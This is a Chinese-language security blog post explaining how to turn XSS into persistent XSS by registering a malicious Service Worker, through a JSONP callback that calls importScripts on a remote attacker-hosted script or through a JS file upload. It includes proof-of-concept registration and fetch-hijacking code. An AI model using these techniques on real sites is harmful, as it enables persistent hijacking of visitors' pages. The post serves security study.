通过Service Workers实现持久化 XSS

通过Service Workers实现持久化 XSS

service worker

Service workers 本质上充当Web应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。它们旨在(除其他之外)使得能够创建有效的离线体验,拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。 ——mdn

Service worker运行在worker上下文,因此它不能访问DOM。相对于驱动应用的主JavaScript线程,它运行在其他线程中,所以不会造成阻塞。它设计为完全异步,同步API(如XHR和localStorage)不能在service worker中使用

出于安全考量,Service workers有一些限制:

  1. 只能注册同源下的js
  2. 网站必须是https://或者http://localhost/
  3. content-type 为 */javascript
  4. Worker 线程不能获得下列对象:DOM对象,Windows对象,document对象,parent对象。

查看已有的sw:Chrome地址栏访问 chrome://serviceworker-internals/,就可以看见已有的后台服务。

注册

service worker的注册方式

ServiceWorkerContainer.register(scriptURL, options)
navigator.serviceWorker.register(scriptURL, options) #返回一个ServiceWorkerContainer对象。

需要注意的是 sw 文件的路径问题,如果存放在网站的根路径下,则表示该Service Worker将会收到该网站的所有fetch事件,如果我们将Service Worker文件注册为/example/sw.js,则代表该Service Worker将只会收到/example/路径下的fetch事件。

1、jsonp

由于service worker存在的一定的限制,需要绕过同源,所以这里最方便的就是使用jsonp。

利用
第三方产生的响应为json数据的包装(故称之为jsonp,即json padding)

一个普通的jsonp接口大概是这样:

https://example.com/jsonp.php?callback=test

HTTP/1.1
200 OK
Content-Type:
text/javascript; charset=UTF-8
[...]

test({[...]})

所以在注册的时候,需要一个jsonp的调用,并配合importScripts导入远程js文件。

navigator.serviceWorker.register('/a.php?callback=importScripts("https://xx/test.js")');

//test.js
self.addEventListener('fetch', function(event) {
    event.respondWith(
        new Response('<script>alert(document.domain)</script>',
            {headers: {'Content-Type':'text/html'}}
        )
    )
});

2、文件上传接口

当存在文件上传接口的时候,可以尝试上传一个js文件

<script>
var
formData = new FormData();
formData.append("csrf_token",
"secret");
var
sw = "/* [SW_CODE] */";
var
blob = new Blob([sw], { type: "text/javascript"});
formData.append("file",
blob, "sw.js");
fetch("/upload",
{method: "POST", body: formData}).then(/* Register SW */);
</script>

但一般允许上传js文件的上传点比较少,这里就不详细说了。

Service Worker的限制

1.Scope

在使用navigator.serviceWorker.register()注册脚本时,我们可以在第二个参数中提供一个Scope(范围)

通过这个限制,我们可以将可注册的脚本限制在有限的目录内。

类似如下代码:

<script>
navigator.serviceWorker.register("/sw.js",
{scope: "/"})
</script>

将作用区域限制在了当前目录下。

2.生命周期

出于安全性的考虑,每个SW都有时间限制,在注册24小时后,原先的HTTP缓存就会释放,这种持久化xss效果仍然有限

参考文章:

https://misakikata.github.io/2021/06/XSS持久化:Service-Worker/

https://lorexxar.cn/2018/04/20/SW-xss/

https://swcacheattack.secpriv.wien/

posted @ 2022-07-11 08:40  dre0m1  阅读(230)  评论(0编辑  收藏  举报